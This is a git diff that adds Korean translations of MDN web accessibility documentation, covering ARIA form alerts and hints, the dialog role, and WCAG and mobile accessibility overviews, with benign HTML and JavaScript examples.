 

+ +

주의

+ + + +

Used by ARIA roles

+ +

베이스 마크업의 모든 요소

+ +

관련된 ARIA 기술

+ + + +

적합성

+ +

TBD: 일반적인 UA와 AT 제품 조합을 위한 서포트 정보를 추가합니다.

+ +

추가 리소스

+ + diff --git a/files/ko/web/accessibility/aria/forms/alerts/index.html b/files/ko/web/accessibility/aria/forms/alerts/index.html new file mode 100644 index 0000000000..072f9443b7 --- /dev/null +++ b/files/ko/web/accessibility/aria/forms/alerts/index.html @@ -0,0 +1,146 @@ +--- +title: Alerts +slug: Web/Accessibility/ARIA/forms/alerts +tags: + - ARIA + - Forms + - Web + - 접근성 +translation_of: Web/Accessibility/ARIA/forms/alerts +--- +

문제점

+ +

엑세스 가능한 오류 검사를 포함하고 싶은 폼, 예를 들어 콘택트 폼이 있습니다. 자주 있는 문제점으로는 Email이 유효하지 않거나, 이름 필드에 성이나 이름이 포함되지 않은 것이 있습니다.

+ +

+ +

우선 aria-required 기술을 읽지 않았다면 먼저 읽어주세요. 여기서는 그것의 확장된 내용을 다룹니다. 

+ +

여기에 샘플 폼이 있습니다:

+ +
 <form method="post" action="post.php">
+   <fieldset>
+     <legend>Please enter your contact details</legend>
+     <label for="name">Your name (required):</label>
+     <input name="name" id="name" aria-required="true"/>
+     <br />
+     <label for="email">E-Mail address (required):</label>
+     <input name="email" id="email" aria-required="true"/>
+     <br />
+     <label for="website">Website (optional):</label>
+     <input name="website" id="website"/>
+   </fieldset>
+   <label for="message">Please enter your message (required):</label>
+   <br />
+   <textarea name="message" id="message" rows="5" cols="80"
+             aria-required="true"></textarea>
+   <br />
+   <input type="submit" name="submit" value="Send message"/>
+   <input type="reset" name="reset" value="Reset form"/>
+ </form>
+
+ +

유효성 검사 및 사용자에게 알림

+ +

폼 유효성 검사는 여러 단계로 구성됩니다. :

+ +
    +
  1. Email 또는 입력한 이름이 유효한지 확인하십시오. 각 필드는 유효성 검사를 통과하기 위해 충족되어야 하는 일련의 기준이 있습니다. 이 예제를 단순화하기 위해, Email에 '@' 마크가 있는지 이름에는 적어도 하나의 문자가 포함되어 있는지를 확인할 것입니다. 
  2. +
  3. 만약 위의 기준이 충족되지 않으면, 필드의  aria-invalid 속성에 “true” 값이 주어질 것입니다.
  4. +
  5. 기준이 충족되지 않으면 경고를 통해 사용자에게 알립니다. JavaScript의 ‘alert’ function을 사용하는 대신 아림을 위해 간단한 WAI-ARIA 위젯을 사용할 것입니다. 이것은 사용자에게 에러를 알려주지만, Javascript의 기본 ‘alert’ function의 “onblur”로 인해 발생하는 포커스 손실 없이 계속해서 폼을 수정할 수 있게 해줍니다. 
  6. +
+ +

아래의 예제는  “head” 의 닫는 태그를 삽입하는 Javascript 코드입니다.:

+ +
 <script type="application/javascript">
+ function removeOldAlert()
+ {
+   var oldAlert = document.getElementById("alert");
+   if (oldAlert){
+     document.body.removeChild(oldAlert);
+   }
+ }
+
+ function addAlert(aMsg)
+ {
+   removeOldAlert();
+   var newAlert = document.createElement("div");
+   newAlert.setAttribute("role", "alert");
+   newAlert.setAttribute("id", "alert");
+   var msg = document.createTextNode(aMsg);
+   newAlert.appendChild(msg);
+   document.body.appendChild(newAlert);
+ }
+
+ function checkValidity(aID, aSearchTerm, aMsg)
+ {
+   var elem = document.getElementById(aID);
+   var invalid = (elem.value.indexOf(aSearchTerm) < 0);
+   if (invalid) {
+     elem.setAttribute("aria-invalid", "true");
+     addAlert(aMsg);
+   } else {
+     elem.setAttribute("aria-invalid", "false");
+     removeOldAlert();
+   }
+ }
+ </script>
+
+ +

checkValidity 함수

+ +

Javascript에서 폼 유효성 검사에 사용되는 기본 메소드는 checkValidity 함수입니다. 이 메소드는 세 개의 파라미터를 가집니다: 유효성 검사를 할 input의 ID, 유효성을 확인하기 위해 검색할 검색어, alert에 삽입할 에러 메시지입니다.

+ +

유효성을 확인하기 위해, 이 함수는 input의 값 indexOf가 -1보다 큰지 확인합니다. 검색어를 찾을 수 없을 때 -1 혹은 그보다 작은 값을 반환합니다. 

+ +

만약에 값이 유효하지 않다면 이 함수는 2가지 작업을 수행합니다. 

+ +
    +
  1. 요소의 aria-invalid 속성을 “true”로 설정합니다. 이 속성은 사용자에게 여기에 유효하지 않은 값이 있다는 것을 알립니다. 
  2. +
  3. addAlert 함수를 호출하여 제공된 에러 메시지와 함께 alert을 추가합니다. 
  4. +
+ +

검색어가 발견되면 aria-invalid 속성은 “false”로 재설정됩니다. 또한 남아있는 모든 alert가 제거됩니다. 

+ +

addAlert 함수

+ +

이 함수는 일단 오래된 alert을 제거합니다. 이 함수는 간단합니다. : id가 “alert”인 요소를 찾고, 발견되면 document object model.에서 해당 요소를 제거합니다. 

+ +

다음으로 함수는 alert 테스트를 저장할 div 요소를 만듭니다. 그 div요소는 “alert”이라는 ID를 갖습니다. 그리고  “alert”이라는 role을 갖습니다. 이름에 "aria"가 없지만 사실은 ARIA에서 만들어진 것입니다. role이 간소화를 위해 단순히 HTML로 이식된 XHTML Role Attribute Module에 기반하기 때문입니다.

+ +

텍스트가 div 요소에 추가되고 div 요소는 문서에 추가됩니다. 

+ +

이 div  요소가 나타나면 Firefox는 보조기기에 "alert" 이벤트를 발생시킵니다. 대부분의 스크린 리더는 자동으로 그것을 주워서 읽습니다. 이건 암호 저장 여부를 묻는 Firefox의 알림 표시 줄과 비슷합니다. 방금 만든 alert에는 버튼이 없으므로 단순히 무엇이 문제인지만을 알려줍니다. 

+ +

onblur” 이벤트 수정하기

+ +

이제 남은 것은 이벤트 핸들러를 추가하는 것뿐입니다. 우리는 Email과 이름에 대한 두개의 인풋을 다음과 같이 변경해야합니다. :

+ +
 <input name="name" id="name" aria-required="true"
+        onblur="checkValidity('name', ' ', 'Invalid name entered!');"/>
+ <br />
+ <input name="email" id="email" aria-required="true"
+        onblur="checkValidity('email', '@', 'Invalid e-mail address');"/>
+
+ +

예제 테스트하기

+ +

만약 Firefox 3 와 현재 지원되는 스크린 리더를 사용하고 있다면 다음을 시도해보세요.:

+ +
    +
  1. 이름에 성만을 입력해보세요. 탭을 하면 유효하지 않은 이름을 입력했다는 알림을 들을 수 있을 겁니다. shift-tab을 눌러서 돌아간 다음 에러를 수정할 수 있습니다. 
  2. +
  3. "@"없이 Email 주소를 입력해보세요. 탭을 해서 필드를 벗어나면 유효하지 않은 Email을 입력했다는 알림을 들을 수 있을 겁니다. 
  4. +
+ +

두 경우 모두 필드로 포커스가 돌아가면 스크린 리더는 해당 필드가 유효하지 않음을 알려주어야 합니다. JAWS 9는 이것을 지원하지만,  JAWS 8는 지원하지 않습니다. 그렇기때문에 이것은 스크린 리더 버전에 따라서 동작하지 않을 수 있습니다. 

+ +

자주 하는 질문

+ +
+
Q. 왜 label에 “(required)” 를 넣고 일부 input에 aria-required 속성을 넣었나요?
+
A. 만약 이게 실제 폼이고 아직 ARIA를 지원하지 않는 브라우저에서 사이트를 방문한 경우에도 이것이 필수 입력란임을 알려주는 것이 좋습니다. 
+
Q. 왜 유효하지 않은 필드로 자동 포커스되도록 하지 않나요?
+
A. 왜냐하면 Windows API 사양 및 기타 사양에 따라 허용되지 않기 때문입니다. 또한, 사용자 상호작용 없이 포커스를 자주 이동하는 것은  좋지 않습니다. 
+
+ +
TBD: 이건 다시 생각해봅시다. 개인적으로 키보드 트랩을 발생시키지 않는다면 포커스를 설정하는 것이 좋을 것 같습니다.
diff --git a/files/ko/web/accessibility/aria/forms/basic_form_hints/index.html b/files/ko/web/accessibility/aria/forms/basic_form_hints/index.html new file mode 100644 index 0000000000..f3757219ab --- /dev/null +++ b/files/ko/web/accessibility/aria/forms/basic_form_hints/index.html @@ -0,0 +1,116 @@ +--- +title: 기본적인 폼 힌트 +slug: Web/Accessibility/ARIA/forms/Basic_form_hints +tags: + - ARIA + - Forms + - 접근성 +translation_of: Web/Accessibility/ARIA/forms/Basic_form_hints +--- +

전통적인 HTML 폼 관련 요소를 사용하여 폼을 구현할 때 컨트롤에 레이블을 지정하고 레이블을 컨트롤과 명시적으로 연결하는 것이 중요합니다. 스크린 리더 사용자가 페이지를 탐색할 때, 스크린 리더는 폼 컨트롤을 알려주지만, 레이블과 폼이 직접적으로 연결되지 않으면 스크린 리더는 어떤 레이블이 적절한지 알 방법이 없습니다. 

+ +

아래의 예는 레이블이 있는 간단한 폼을 보여줍니다. 각{{ HTMLElement("input") }} 요소는 id를 가지고 있고, 각{{ HTMLElement("label") }} 요소는 자신과 연결된 {{ HTMLElement("input") }}의 id를 나타내는  for 속성을 가지고 있습니다.

+ +
<form>
+  <ul>
+    <li>
+      <input id="wine-1" type="checkbox" value="riesling"/>
+      <label for="wine-1">Berg Rottland Riesling</label>
+    </li>
+    <li>
+      <input id="wine-2" type="checkbox" value="pinot-blanc"/>
+      <label for="wine-2">Pinot Blanc</label>
+    </li>
+    <li>
+      <input id="wine-3" type="checkbox" value="pinot-grigio"/>
+      <label for="wine-3">Pinot Grigio</label>
+    </li>
+    <li>
+      <input id="wine-4" type="checkbox" value="gewurztraminer"/>
+      <label for="wine-4">Gewürztraminer</label>
+    </li>
+  </ul>
+</form>
+
+ +

ARIA로 라벨링 하기

+ +

HTML {{ HTMLElement("label") }} 요소는 폼 관련 요소로 적당하지만, 많은 폼 컨트롤은 {{ HTMLElement("div") }}나 {{ HTMLElement("span") }}를 사용한 동적인 Javascript 위젯으로 구현되어있습니다. W3C의 Web Accessibility Initiative에서 만들어진 WAI-ARIAAccessible Rich Internet Applications 사양은 이러한 경우를 위해 aria-labelledby 속성을 제공하고 있습니다.

+ +

아래의 예에서는 순서 없는 리스트를 사용하여 구현한 라디오 버튼 그룹을 보여주고 있습니다. 3행의  {{ HTMLElement("ul") }} 요소에 aria-labelledby 속성에 라디오 그룹의 레이블인 {{ HTMLElement("h3") }} 요소의  id  rg1_label을 설정했습니다. 

+ +
<h3 id="rg1_label">Lunch Options</h3>
+
+<ul class="radiogroup" id="rg1"  role="radiogroup" aria-labelledby="rg1_label">
+  <li id="r1"  tabindex="-1" role="radio" aria-checked="false">
+    <img role="presentation" src="radio-unchecked.gif" /> Thai
+  </li>
+  <li id="r2"  tabindex="-1" role="radio"  aria-checked="false">
+    <img role="presentation" src="radio-unchecked.gif" /> Subway
+  </li>
+  <li id="r3"   tabindex="0" role="radio" aria-checked="true">
+    <img role="presentation" src="radio-checked.gif" /> Radio Maria
+  </li>
+</ul>
+
+ +

ARIA로 설명하기

+ +

폼 컨트롤을 가끔 label 외에 추가설명이 있는 경우가 있다. ARIA는 aria-describedby 속성을 사용하여 설명을 컨트롤과 직접 연관시킵니다. 

+ +

아래 예제는 {{ HTMLElement("div") }} 안의 문장이  {{ HTMLElement("button") }} 요소를 설명하는 것을 보여줍니다. {{ HTMLElement("button") }}의  aria-describedby 속성은 {{ HTMLElement("div") }}의 id를 참조합니다. 

+ +
<button aria-describedby="descriptionRevert">Revert</button>
+<div id="descriptionRevert">Reverting will undo any changes that have been made
+                            since the last save.</div>
+ +
+

Note: aria-describedby 속성은 폼 컨트롤 외에도 다른 용도로 사용됩니다. 

+
+ +

필수 필드와 유효하지 않은 필드 

+ +
+

Note: 현재는 전 세계 사용자의 97%가  required를 사용할 수 있으므로 required와 aria-required 모두를 사용하는 것은 더는 권장하지 않습니다.

+
+ +

일반적으로 웹 개발자는 필수 필드와 유효하지 않은 필드를 나타내기 위해서 시각적인 방법을 사용합니다. 보조 기술(ATs)은 언제나 표시된 것을 통해서 정보를 추측하지는 않습니다. ARIA 는 폼 컨트롤의 필수나 유효하지 않음을 나타내는 속성을 제공합니다. 

+ + + +

아래의 예제는 세 개의 필드가 있는 간단한 폼을 보여줍니다. 4행과 12행에서는 aria-required 속성이 true(레이블 옆에 별표와 함께)로 설정되어 name과 email 필드가 필수임을 나타냅니다. 두 번째 예제는 email 형식을 검증하고 그 결과에 따라서 email 필드(HTML 12행)의 (요소를 시각적으로 변경하는 것과 함께) aria-invalid 속성을 설정하는 Javascript 스니펫입니다. 

+ +
<form>
+  <div>
+    <label for="name">* Name:</label>
+    <input type="text" value="name" id="name" aria-required="true"/>
+  </div>
+  <div>
+    <label for="phone">Phone:</label>
+    <input type="text" value="phone" id="phone" aria-required="false"/>
+  </div>
+  <div>
+    <label for="email">* E-mail:</label>
+    <input type="text" value="email" id="email" aria-required="true"/>
+  </div>
+</form>
+ +

폼 항목의 유효성을 검사하는 스크립트는 다음과 같습니다. 

+ +
var validate = function () {
+  var emailElement = document.getElementById(emailFieldId);
+  var valid = emailValid(formData.email); // returns true if valid, false otherwise
+
+  emailElement.setAttribute("aria-invalid", !valid);
+  setElementBorderColour(emailElement, valid); // sets the border to red if second arg is false
+};
+
+ +

유용한 오류 메시지 제공

+ +

ARIA alerts to enhance forms 사용법을 읽으세요.

+ +

폼 접근성을위한 ARIA 사용에 대한 자세한 지침은 WAI-ARIA Authoring Practices 문서를 참조하세요. 

diff --git a/files/ko/web/accessibility/aria/forms/index.html b/files/ko/web/accessibility/aria/forms/index.html new file mode 100644 index 0000000000..a9028b2416 --- /dev/null +++ b/files/ko/web/accessibility/aria/forms/index.html @@ -0,0 +1,17 @@ +--- +title: Forms +slug: Web/Accessibility/ARIA/forms +tags: + - ARIA + - 접근성 +translation_of: Web/Accessibility/ARIA/forms +--- +

아래의 페이지에서는 Web Form의 접근성을 향상시키는 여러 가지 테크닉을 소개합니다. 

+ + + +

유사한 콘텐츠를 다루고 있는 Yahoo! article on form validation and ARIA 도 봐주세요.

diff --git a/files/ko/web/accessibility/aria/index.html b/files/ko/web/accessibility/aria/index.html new file mode 100644 index 0000000000..c1c77f78f4 --- /dev/null +++ b/files/ko/web/accessibility/aria/index.html @@ -0,0 +1,131 @@ +--- +title: ARIA +slug: Web/Accessibility/ARIA +tags: + - ARIA + - Accessibility + - HTML + - 웹 접근성 + - 접근성 +translation_of: Web/Accessibility/ARIA +--- +

접근가능한 리치 인터넷 어플리케이션(Accessible Rich Internet Applications, ARIA)은 장애를 가진 사용자가 웹 콘텐츠와 웹 어플리케이션(특히 JavaScript를 사용하여 개발한 경우)에 더 쉽게 접근할 수 있는 방법을 정의하는 여러 특성을 말합니다.

+ +

ARIA는 HTML을 보충해, 일반적으로 보조 기술이 알 수 없는 상호작용 및 흔히 쓰이는 어플리케이션 위젯에 필요한 정보를 제공합니다. 예를 들어 ARIA는 HTML4에서의 탐색 랜드마크, JavaScript 위젯, 폼 힌트 및 오류 메시지, 실시간 콘텐츠 업데이트 등을 접근 가능한 형태로 제공합니다.

+ +
+

여기 등장하는 많은 위젯은 나중에 HTML5로 통합됐으므로, 구현하려는 기능을 가진 요소가 존재한다면 개발자는 되도록 의미를 가진 HTML을 ARIA보다 선호해야 합니다. 몇 가지 예시로, 네이티브 요소는 키보드 접근성, 역할, 상태를 내장하고 있습니다. 그러나 ARIA를 쓰기로 결정했다면 브라우저 동작 방식을 따라 하는 건 개발자의 책임입니다.

+
+ +

다음은 진행 표시줄 위젯의 마크업입니다.

+ +
<div id="percent-loaded" role="progressbar" aria-valuenow="75"
+     aria-valuemin="0" aria-valuemax="100">
+</div>
+
+ + + +

지원

+ +

다른 웹 기술과 마찬가지로, ARIA 역시 환경 별 지원 수준에 차이를 보입니다. 지원 수준은 사용자의 운영 체제 및 사용하는 브라우저, 그리고 연결된 보조 기술마다 다릅니다. 게다가 각각의 버전 또한 영향을 줍니다. 오래된 소프트웨어 버전은 특정 ARIA 역할을 지원하지 않거나, 부분적으로만 지원하거나, 잘못된 기능을 가지고 있을 수 있습니다.

+ +

또 다른 중요한 점은, 보조 기술에 의존하는 사용자 일부가 컴퓨터 및 브라우저 상호작용 기능을 잃어버릴까 두려워 소프트웨어 업그레이드를 주저할 수 있다는 점을 인지하는 것입니다. 그러므로 가능한 한 보조 기술이 훨씬 넓게 지원하는, 의미를 가진 HTML 요소를 사용하는 편이 좋습니다.

+ +

마지막으로 작성한 ARIA을 실제 보조 기술로 시험하는 것도 필요합니다. 브라우저 에뮬레이터와 시뮬레이터가 전체 테스트에 효율적인 도구가 아니듯, 유사 보조 기술만으로는 완벽한 지원을 장담하기엔 부족합니다.

+ +
+
+
+

자습서

+ +
+
ARIA 소개
+
동적인 컨텐츠를 ARIA를 적용해 접근성을 갖추도록 하는 방법에 대한 소개한 글입니다. Gez Lemon이 2008년에 쓴 ARIA 분야의 고전인 ARIA intro도 참조하십시오.
+
스크린 리더기에서 ARIA를 어떻게 사용하는지에 대한 영상
+
ARIA "적용 전", "적용 후" 영상을 비롯하여, 웹에서 볼 수 있는 실제 사용 예제들과 그것보다 간략화된 예시들을 볼 수 있습니다.
+
ARIA 사용하기
+
개발자를 위한 실용 가이드를 제공하는 글입니다. HTML 요소에 어떤 ARIA 속성들을 써야 하는지에 대해 제안하는 내용을 담고 있습니다. 제안은 실제 구현 상황을 바탕으로 합니다.
+
+ +

간단한 ARIA 향상

+ +
+
ARIA 랜드마크를 사용하여 페이지 탐색 고도화
+
스크린 리더 사용자들을 위해 ARIA 랜드마크를 사용하여 웹 페이지의 탐색 기능을 향상시키는 법을 소개해주는 좋은 글입니다. 이와 더불어서 ARIA 구현 노트 및 실제 사이트에서의 활용 예시들을 참고하세요. (2011년 7월에 업데이트됨)
+
폼 접근성 향상하기
+
ARIA는 동적 콘텐츠만을 위한 것이 아닙니다! ARIA 특성을 사용해 HTML 폼의 접근성을 높이는 방법을 알아보세요.
+
+ +

스크립트 처리된 위젯을 위한 ARIA

+ +
+
JavaScript 위젯에 키보드 탐색 및 초점 적용하기
+
{{htmlelement("input")}}, {{htmlelement("button")}} 등 내장 요소는 기본적으로 키보드를 지원합니다. {{htmlelement("div")}}와 ARIA로 특정 요소를 흉내 낸다면, 그 위젯도 키보드를 지원하도록 해야 합니다.
+
실시간 영역
+
실시간 영역은 페이지 콘텐츠에 가해지는 변경점을 접근성 보조 기술이 어떻게 처리해야 하는지 제안합니다.
+
ARIA 실시간 영역으로 콘텐츠 변경 알리기
+
JAWS 스크린 리더 소프트웨어의 개발진이 실시간 영역에 대해 요약한 글입니다.
+
+
+ +
+

표준화를 위한 노고

+ +
+
WAI-ARIA 명세
+
W3C 명세입니다.
+
WAI-ARIA 작성 안내서
+
+

흔히 쓰이는 위젯을 ARIA스럽게 만드는 방법에 대한 공식 안내서로, 훌륭한 자원입니다.

+
+
+ +

비디오

+ +

다음 발표 비디오는 ARIA를 이해할 수 있는 훌륭한 방법입니다.

+ +

ARIA, Accessibility APIs and coding like you give a damn! – Léonie Watson

+ +

버그 제출

+ +

브라우저, 스크린 리더, JavaScript 라이브러리의 ARIA 버그 제출하기

+
+
+
+ + + +

{{glossary("Accessibility", "접근성")}}, {{glossary("AJAX")}}, JavaScript

+ + diff --git a/files/ko/web/accessibility/aria/roles/dialog_role/index.html b/files/ko/web/accessibility/aria/roles/dialog_role/index.html new file mode 100644 index 0000000000..90fc507652 --- /dev/null +++ b/files/ko/web/accessibility/aria/roles/dialog_role/index.html @@ -0,0 +1,158 @@ +--- +title: 'ARIA: dialog role' +slug: Web/Accessibility/ARIA/Roles/dialog_role +tags: + - ARIA + - Web Development + - 접근성 +translation_of: Web/Accessibility/ARIA/Roles/dialog_role +--- +

{{draft()}}

+ +

\{{ariaref}}

+ +

dialog 역할(role)은 HTML 기반의 애플리케이션의 다이얼로그 또는 콘텐츠를 분리하는 창 또는 다른 웹 애플리케이션의 UI 혹은 페이지를 마크업하는데 사용됩니다. 다이얼로그는 일반적으로 오버레이를 사용하여 페이지 위에 표시됩니다. 다이얼로그는 비모달(non-modal) (열린 이후에도 다이얼로그 바깥의 콘텐츠와 상호작용할 수 있습니다) 또는 모달(오로지 다이얼로그 콘텐츠와 상호작용할 수 있습니다) 형태일 수 있습니다.

+ +
<div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
+  <h2 id="dialog1Title">귀하의 개인정보가 성공적으로 갱신되었습니다.</h2>
+  <p id="dialog1Desc">
+    <a href="/account">개인정보 관리</a> 페이지에서 언제든지 개인정보를 수정할 수 있습니다.
+  </p>
+  <button>닫기</button>
+</div>
+ +

설명

+ +

다이얼로그 요소를 마크업하는 것은 보조 기술(Assistive Technology)이 다이얼로그의 콘텐츠가 그룹하 되어 페이지의 나머지 콘텐츠와 분리됨을 식별하는 것을 돕습니다. 하지만, 단순히 role="dialog"를 추가하는 것으로 다이얼로그의 접근성을 높이지 못합니다. 추가적으로 다음 항목들이 충족되어야 합니다:

+ + + +

아래 섹션들은 이 두가지 요구 사항을 어떻게 만족시킬 수 있을지 설명합니다.

+ +

레이블링

+ +

다이얼로그 요소 자체가 포커스를 가질 필요는 없지만, 여전히 레이블링을 할 필요가 있습니다. 다이얼로그에 주어진 레이블은 다이얼로그 내 상호작용 가능한 컨트롤들에 contextual information를 제공합니다. 예를 들어, 다이얼로그의 레이블은 내부의 컨트롤들의 레이블의 그롭화된 레이블처럼 작동합니다. (<legend> 요소가 내부의 <fieldset> 요소에 그룹화된 레이블을 제공하는 것과 비슷합니다)

+ +

만약 다이얼로그가 이미 눈에 보이는 타이틀바를 가지고 있다면, 그 안속의 텍스트는 다이얼로그를 레이블하는데 사용될 수 있습니다. 이를 이루기 위해 role="dialog" 속성을 가진 요소에 aria-labelledby 속성을 사용합니다. 또한, 만약 다이얼로그에 제목 외의 추가적인 설명 텍스트가 있다면, 그 텍스트는 aria-describedby 속성을 사용하여 다이얼로그에 관련되게 만들 수 있습니다. 이러한 방법은 아래 코드를 통해 확인하실 수 있습니다:

+ +
<div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
+  <h2 id="dialog1Title">귀하의 개인정보가 성공적으로 갱신되었습니다.</h2>
+  <p id="dialog1Desc">
+    <a href="/account">개인정보 관리</a> 페이지에서 언제든지 개인정보를 수정할 수 있습니다.
+  </p>
+  <button>닫기</button>
+</div>
+ +

 

+ +
비가상 모드에서 작동하는 스크린 판독기에 의해 인지되기 위해서는 다이얼로그 제목과 설명 텍스트가 포커스가 가능하지 않아야 한다는 점을 유의하십시오. ARIA 다이얼로그 역할과 레이블링 기술은 다이얼로그로 포커스가 이동하였을 때 스크린 판독기가 다이얼로그의 정보를 인지할 수 있도록 합니다.
+ +

Focus management 포커스 관리

+ +

다이얼로그는 키보드 포커스를 관리하는 방법에 대한 특별한 요구 사항이 있습니다.

+ + + +

 

+ +

관련된 ARIA 역할, 상태 및 속성

+ +
+
aria-labelledby
+
다이얼로그에 label을 하려면 이 속성을 사용하십시오. 보통, 다이얼로그의 제목 요소의 id값이 aria-labelledby 속성의 값이 됩니다.
+
aria-describedby
+
다이얼로그의 콘텐츠를 묘사하기 위해 이 속성을 사용하십시오.
+
+ +

Possible effects on user agents and assistive technology 

+ +

When the dialog role is used, the user agent should do the following:

+ + + +

When the dialog is correctly labeled and focus is moved to a control inside the dialog, screen readers should announce the dialog's accessible role, name and optionally description before announcing the focused element. 

+ +
Note: Opinions may differ on how assistive technology should handle this technique. The information provided above is one of those opinions and therefore not normative.
+ +

예제

+ +

예제 1: 폼을 포함하는 다이얼로그

+ +
 <div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
+   <h2 id="dialog1Title">구독하기</h2>
+   <p id="dialog1Desc">우리는 이 정보를 제 3자에게 제공하지 않습니다.</p>
+   <form>
+     <p>
+       <label for="firstName">이름</label>
+       <input id="firstName" type="text" />
+     </p>
+     <p>
+       <label for="lastName">성</label>
+       <input id="lastName" type="text"/>
+     </p>
+     <p>
+       <label for="interests">관심분야</label>
+       <textarea id="interests"></textarea>
+     </p>
+     <p>
+         <input type="submit" value="정보 저장하기"/>
+     </p>
+   </form>
+ </div>
+ +

Example 2: A dialog based on a Fieldset as fallback content

+ +

To support browsers or AT products that do not support ARIA mark up, it's also possible to use apply the dialog markup to a fieldset element as fallback content. This way the dialog title will still be announced correctly:

+ +
<fieldset role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
+  <legend>
+    <span id="dialog1Title">Your personal details were successfully updated.</span>
+    <span id="dialog1Desc">You can change your details at any time in the user account section.</span>
+  </legend>
+
+  <button>Close</button>
+</fieldset>
+ +

작업된 예제:

+ + + +

Notes 

+ +
Note: While it is possible to prevent keyboard users from moving focus to elements outside of the dialog, screen reader users may still be able to navigate that content virtually to use their screen reader's virtual cursor. Because of this, dialogs are considered to be a special case of the application role: They are expected to be navigated by screen reader users in a non-virtual navigation mode.
+ +

사용되는 ARIA 속성

+ + + +

관련된 ARIA 기술 

+ + + +

Compatibility

+ +

TBD: Add support information for common UA and AT product combinations

+ +

Additional resources

+ +

 

diff --git a/files/ko/web/accessibility/aria/roles/index.html b/files/ko/web/accessibility/aria/roles/index.html new file mode 100644 index 0000000000..3b92115b59 --- /dev/null +++ b/files/ko/web/accessibility/aria/roles/index.html @@ -0,0 +1,78 @@ +--- +title: WAI-ARIA Roles +slug: Web/Accessibility/ARIA/Roles +tags: + - ARIA + - Accessibility + - NeedsTranslation + - Rôles + - TopicStub +translation_of: Web/Accessibility/ARIA/Roles +--- +

This page lists reference pages covering all the WAI-ARIA roles discussed on MDN. For a full list of roles, see Using ARIA: Roles, States, and Properties

+ +

{{SubpagesWithSummaries}}

+ + diff --git a/files/ko/web/accessibility/index.html b/files/ko/web/accessibility/index.html new file mode 100644 index 0000000000..9faf5ccaa5 --- /dev/null +++ b/files/ko/web/accessibility/index.html @@ -0,0 +1,49 @@ +--- +title: 접근성 +slug: Web/Accessibility +tags: + - Accessibility + - 접근성 +translation_of: Web/Accessibility +--- +

웹 개발에서의 접근성은 사람들의 능력이 어느정도 제한되어 있더라도 가능한 많은 사람들이 웹사이트를 사용 할 수 있도록 하는것 입니다. 여기서 우리는 접근할 수 있는 콘텐츠 개발에 관한 정보를 제공 합니다.

+ +

"접근성은 장애인을 돕기 위한 '휠체어접근' 과 같은 시설이나 편의 시설을 설명하는 데 가장 많이 사용됩니다. 이것은 점저 감판, 휠체어 경사로, 보행자 교차점에서의 오디오 신호등, 보행로 등고선, 웹 사이트 디자인 등으로 확장될 수 있습니다." Wikipedia entry for Accessibility

+ +

"그들의 하드웨어, 소프트웨어, 언어, 문화, 위치 또는 신체적 혹은 정신적 능력이 무엇이든지 간에, 웹은 근본적으로 모든 사람들을 위해 일하도록 설계되어 있습니다. 웹이 이 목표를 달성할 때, 다양한 범위의 청각, 움직임, 시각, 인지 능력을 가진 사람들에게 접근할 수 있습니다." W3C - Accessibility

+ +
+
+

Documentation

+ +
+
Web development
+
접근성 세계에서 웹 개발 문제를 강조하기 위해 지정된 문서 모음 입니다.
+
ARIA
+
HTML문서를 좀 더 쉽게 접근 할 수 있는 방법을 배우기 위해 사용할 수 있는 문서 모음 입니다.
+
Assistive technology (AT) development
+
AT 개발자를 위한 기사 모음 입니다.
+
Mobile accessibility checklist
+
모바일 앱 개발자에 대한 접근성 요구 사항을 간략하게 확인할 수 있는 문서 모음 입니다.
+
+ +

View all articles about Accessibility...

+
+ +
+

웹 개발자들을 위한 도구

+ + + +

View All...

+ +

기타 유용한 사이트

+ + +
+
diff --git a/files/ko/web/accessibility/mobile_accessibility_checklist/index.html b/files/ko/web/accessibility/mobile_accessibility_checklist/index.html new file mode 100644 index 0000000000..6a9a73cdbe --- /dev/null +++ b/files/ko/web/accessibility/mobile_accessibility_checklist/index.html @@ -0,0 +1,106 @@ +--- +title: 모바일 접근성 점검항목 +slug: Web/Accessibility/Mobile_accessibility_checklist +translation_of: Web/Accessibility/Mobile_accessibility_checklist +--- +
+

이 문서는 모바일 앱 개발자를 위한 접근성 요구 사항에 대한 간결한 체크리스트를 제공한다. 더 많은 패턴이 발생할수록 지속적으로 진화하려는 의도다.

+
+ +

+ + + +

  가시성

+ + + +

초점

+ + + +

텍스트 동등성

+ + + +

처리 상태

+ + + +

방향

+ + + +

General Guidelines

+ + + +
+

Note: The original version of this document was written by Yura Zenevich.

+
diff --git a/files/ko/web/accessibility/understanding_wcag/index.html b/files/ko/web/accessibility/understanding_wcag/index.html new file mode 100644 index 0000000000..fe71b20ebc --- /dev/null +++ b/files/ko/web/accessibility/understanding_wcag/index.html @@ -0,0 +1,59 @@ +--- +title: Understanding the Web Content Accessibility Guidelines +slug: Web/Accessibility/Understanding_WCAG +tags: + - NeedsTranslation + - TopicStub + - WCAG + - Web Content Accessibility Guidelines +translation_of: Web/Accessibility/Understanding_WCAG +--- +

This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 or 2.1 (or just WCAG, for the purposes of this writing).

+ +

The WCAG 2.0 and 2.1 provide a detailed set of guidelines for making web content more accessible to people with a wide variety of disabilities. It is comprehensive but incredibly detailed, and quite difficult to gain a rapid understanding of. For this reason, we have summarised the practical steps you need to take to satisfy the different recommendations, with further links to more details where required.

+ +

The four principles

+ +

WCAG is broadly broken down into four principles — major things that web content must be to be considered accessible (see Understanding the Four Principles of Accessibility for the WCAG definitions).

+ +

Each of the links below will take you to pages that further expand on these areas, giving you practical advice on how to write your web content so it conforms to the success criteria outlined in each of the WCAG 2.0 and 2.1 guidelines that further sub-divides each principle.

+ + + +

Should I use WCAG 2.0 or 2.1?

+ +

WCAG 2.1 is the most recent and relevant accessibility standard. Use WCAG 2.1 to help more people with disabilities and reduce the future legal risk for web site owners. Target WCAG 2.0 first when allocating resources. Then step up to WCAG 2.1. 

+ +

What is WCAG 2.1?

+ +

WCAG 2.1 was published as an official recommendation on 05 June 2018. The European Union (EU) adopted WCAG 2.1 as the digital accessibility standard in September 2018. W3C published a press release WCAG 2.1 Adoption in Europe

+ +

WCAG 2.1 includes:

+ + + + + +

